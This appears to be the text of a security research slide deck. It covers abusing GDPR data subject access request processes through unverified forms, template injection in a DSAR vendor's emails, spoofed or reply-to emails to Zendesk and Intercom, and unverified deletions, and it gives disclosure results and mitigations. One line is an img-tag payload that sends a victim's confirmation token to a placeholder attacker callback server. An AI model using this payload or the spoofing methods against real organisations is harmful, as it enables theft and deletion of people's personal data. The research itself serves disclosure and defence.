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Introduction
What is GDPR:
GDPR is an EU law with mandatory rules for how organiza*ons and companies must use personal data in an integrity friendly way. Personal
data means any informa*on which, directly or indirectly, could iden*fy a living person. Name, phone number, and address are schoolbook
examples of personal data. Interests, informa*on about past purchases, health, and online behavior is also considered personal data as it
could iden*fy a person. Source: Gdprsummary.com
When the General Data Protec*on Regula*on (GDPR) was enforced back in 2018, it granted individuals with eight data subject rights:
1. Right to be informed
2. Right of access
3. Right to rec*ﬁca*on
4. Right to be forgo[en
5. Right to data portability
6. Right to object to processing
7. Rights in rela*on to automated decision making and proﬁling.Source: dataprivacymanager.net
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Data Subject Access Request:
A Data Subject Access Request (DSAR) is a request addressed to the organiza*on that gives individuals a right to access
informa*on about personal data the organiza*on is processing about them and to exercise that right easily, at
reasonable intervals, in order to be aware of, and verify, the lawfulness of the processing.

Organiza*ons may accept the DSAR Requests from following channels:

• DSAR Portals i.e datagrail.io/onetrust.com
• Customer Support SaaS i.e Zendesk/Intercom/Atlassian
• Through Email To Data Protec*on Dept. i.e privacy@acme.org/dpo@acme.org
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Exploitation
It was observed that even organiza*ons with ba[le-hardened security ofen lacked preven*ve measures against DSAR request
impersona*on ranging from lack of email conﬁrma*ons to an SSTI aﬀec*ng mul*ple organiza*ons.
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Vulnerable DSAR SaaS
Unauthenticated DSAR Forms
Some of the DSAR portals allowed unauthen*cated users to exercise the GDPR rights without email veriﬁca*on which allowed an
a[acker to delete or edit account informa*on for users for:

Email Response Afer Submihng the DSAR Form :
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SSTI In Email Confirmation 👀
An undisclosed DSAR SaaS used by 6,000 clients including fortune 500’s was vulnerable to html injec*on in the
name ﬁeld which was reﬂected in the email conﬁrma*on upon further inves*ga*on it was discovered that SaaS
allowed customer to brand/edit their emails & allowed template markups thus appending the following template
would allow an a[acker to retrieve email conﬁrma*on token:
<img src="//<yourcallbackserver>/bc?callback=__RequestLink__">
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Email Clients will try to load the image (callback url) that will reveal vic*m’s Email Conﬁrma*on Link:
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Improper Incoming Email Authentication &
Weird Behaviors
Insecure Zendesk Instances:
Few Organiza*ons accep*ng DSAR through Zendesk didn’t have
Incoming Email Authen*ca*on Enabled Thus sending an Spoofed
Email from vic*m’s email address with a[acker’s email address
would’ve allowed an a[acker to request User’s PII:

[Sending a spoofed GDPR Request from
vic*m’s email & a[acker as CC]

[A[acker’s Inbox]
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The support agent handling the GDPR Request sent back the PII without request veriﬁca*on; since the a[acker was
CC’d in the spoofed email, a[acker received a copy of the PII Data too :
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Reply-to Header VS Customer Support Email Parsers
Email requests with a diﬀerent reply-to email address would cause an interes*ng behavior this further helped in exﬁltra*on of user PII
where the customers have enabled incoming email authen*ca*on or did not have cc enabled.

Vulnerable?

Observa6on:

✅

✅

❌

Intercom used to process the email requests
and when a customer agent replied to the
support *cket, the replies were sent to the
reply-to emails. However, reply to emails were
not visible. This led to DPO’s sending data
packages to a[ackers.

Zendesk ignores the sender email address and
uses the reply-to email address as
requester;This leads to Incoming Email
Authen*ca*on Bypass

Atlassian ignores the reply-to
email address.
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Intercom Reply-To:

Intercom ﬁxed this by showing the reply-to address if any to the support agent as a cau6on.
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Zendesk Reply-To:
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Improper DSAR Processes
A few organiza*ons did complete request veriﬁca*on for exercising right to access however,a data
dele*on request would get processed without any veriﬁca*on.
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Big Oof Moments &
• Gitlab did not have spam ﬁlters enabled nor DSAR Veriﬁca*on this allowed a[acker to send an email
with Email Spoofer’s i.e h[p://emkei.cz posing as a vic*m & Gitlab’s ﬂow would permanently delete all
of the Data & User Account Associated with email address:

Props to Gitlab for fixing the issue quickly
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•

A popular movie streaming plaporm & Tesla had a similar workﬂow implemented like GitLab
however only aﬀected expired memberships whereas Tesla only deleted users with no transac*on
history.

•

Whereas Shopify used a poorly conﬁgured zendesk instance (shopifylegal.Zendesk.Com) & afer
successful data extrac*on would send the data to vic*m as well as to a[acker & also a sneak peak of
their admin panel 👀 :

Cleariﬁca*on from Shopify on Billing Details : Only last 4 digits of Credit Card were
visible whereas Bank details were also in redacted form. This issue has been resolved since
14th Aug, 2020.
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Stats For Nerds 🤓
Afer understanding the basic abuse cases, a bot was created to automate those tests and ﬁlter out
vulnerable organiza*ons :

The target list consisted of 759 domains
with responsible disclosure
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Test Results 📝
•

117 GDPR requests sent through emails bounced because either the given email didn’t exist 👎 or
spam ﬁlter detected them 👍.

•

134 organiza*ons asked for iden*ty veriﬁca*on 👍:

•

57 organiza*ons including fortune 500s were vulnerable i.e Tesla, atlassian etc 👎

•

451 organiza*ons are s*ll in the process of data extrac*on or

do not monitor DPO emails. 👎
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Mitigation
•

Red team exercises.

•

Succinct guidelines for all GDPR processes.

•

Iden*ty veriﬁca*on before processing requests through SAAS like datagrail.io.

•

Use of spam ﬁlters & incoming email authen*ca*on.

•

DSAR forms must conﬁrm email address before forwarding to the requests to automated ﬂows

•

Disable CC on instances; If not feasible should not process DSAR requests with other par*cipants than
the requester.
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Hx01 @hxzeroone
Contact: hx01@hx01.me

Shoutout to @trenton for helping in mass scaling
this research.
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